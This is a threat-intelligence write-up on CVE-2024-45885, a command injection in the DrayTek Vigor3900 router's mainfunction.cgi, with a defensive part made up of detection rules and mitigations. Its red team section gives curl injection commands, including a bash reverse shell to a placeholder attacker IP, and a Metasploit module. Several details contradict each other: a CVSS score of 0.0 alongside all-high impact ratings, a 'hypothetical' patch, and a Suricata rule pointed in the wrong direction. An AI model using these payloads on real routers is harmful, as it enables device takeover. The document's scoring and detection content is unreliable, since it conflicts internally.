CVE-2024-45885

Executive Summary

CVE-2024-45885 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi CGI script, specifically when the action parameter is set to autodiscovery_clear. An authenticated attacker can inject arbitrary operating system commands by manipulating the action parameter, leading to full remote code execution on the device. This vulnerability is currently unpatched, and no official fix has been released by DrayTek. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for exposed devices.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: High – authenticated command injection leading to full device compromise.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the cgi-bin/mainfunction.cgi script. The action parameter is used to determine which function to execute. When set to autodiscovery_clear, the script passes user-supplied input directly to a system shell without proper sanitization. An attacker can append shell metacharacters (e.g., ;, |, &, `) to inject arbitrary commands.

Root Cause: The CGI script does not validate or escape the action parameter before passing it to a function like popen() or system(). This allows an authenticated user to execute arbitrary OS commands with the privileges of the web server (typically root).

Attack Flow:

1. Attacker authenticates to the Vigor3900 web interface.
2. Attacker crafts a POST request to /cgi-bin/mainfunction.cgi with action=autodiscovery_clear;id or similar.
3. The server executes the injected command, returning output in the HTTP response.
4. Attacker can then escalate to a reverse shell or install malware.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.5.1.3):

// Pseudocode of vulnerable CGI handler
void handle_autodiscovery_clear(char *action) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "autodiscovery_clear %s", action);
    system(cmd); // No sanitization
}

Patched Code (Hypothetical):

void handle_autodiscovery_clear(char *action) {
    // Validate action parameter against whitelist
    if (strcmp(action, "autodiscovery_clear") != 0) {
        return error("Invalid action");
    }
    // Use execve with fixed arguments
    char *args[] = {"/usr/bin/autodiscovery_clear", NULL};
    execve(args[0], args, NULL);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a DrayTek Vigor3900 with firmware 1.5.1.3
• Valid admin credentials (e.g., admin:admin)

Exploit Steps:

1. Login to the web interface and obtain session cookie.
2. Send a crafted POST request:

curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  -d "action=autodiscovery_clear;id" \
  -b "session=<session_cookie>"

3. Observe command output in response (e.g., uid=0(root)).
4. For reverse shell:

curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  -d "action=autodiscovery_clear;bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'" \
  -b "session=<session_cookie>"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DrayTek Vigor3900 autodiscovery_clear Command Injection',
      'Description' => 'Post-auth command injection in autodiscovery_clear action',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2024-45885']],
      'DisclosureDate' => '2024-09-01',
      'License' => MSF_LICENSE
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/mainfunction.cgi',
      'vars_post' => {
        'action' => "autodiscovery_clear;#{payload.encoded}"
      }
    })
  end
end

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action parameter containing shell metacharacters.
2. Look for unusual processes spawned by the web server (e.g., sh, bash, curl).
3. Check for outbound connections from the router to unknown IPs on high ports.

Honeypot Setup:

• Deploy a fake Vigor3900 web interface that logs all action parameter values.
• Alert on any action value containing ;, |, &, or `.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/mainfunction.cgi with action=autodiscovery_clear; followed by shell commands.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp/ or /var/ (e.g., /tmp/.backdoor).
  • Modified /etc/passwd or /etc/shadow with new user accounts.
• Process IOCs:
  • Processes named sh, bash, nc, curl spawned by httpd or cgi-bin.
  • Unusual cron jobs added to /etc/crontab.

Detection Engineering

YARA Rule

rule CVE_2024_45885_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900 autodiscovery_clear"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-45885"
    strings:
        $action = "action=autodiscovery_clear" nocase
        $shell = /[;&|`$(){}]/
    condition:
        $action and #shell > 0
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection via autodiscovery_clear
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with command injection in the action parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=autodiscovery_clear'
    injection:
        cs-uri-query|re: 'action=autodiscovery_clear[;&|`$(){}]'
    condition: selection and injection
falsepositives:
    - Legitimate use of autodiscovery_clear with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45885 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=autodiscovery_clear"; http_client_body;
    pcre:"/action=autodiscovery_clear[;&|`$(){}]/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-45885;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management if not required.
2. Restrict access to the web interface via firewall rules (allow only trusted IPs).
3. Change default credentials immediately.
4. Monitor logs for suspicious POST requests to /cgi-bin/mainfunction.cgi.

Long-term Fix:

• DrayTek must release a firmware update that properly sanitizes the action parameter.
• Until then, consider replacing the device with a supported alternative.

Workaround:

• If source code is available, patch the CGI script to validate the action parameter against a whitelist of allowed values.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-45885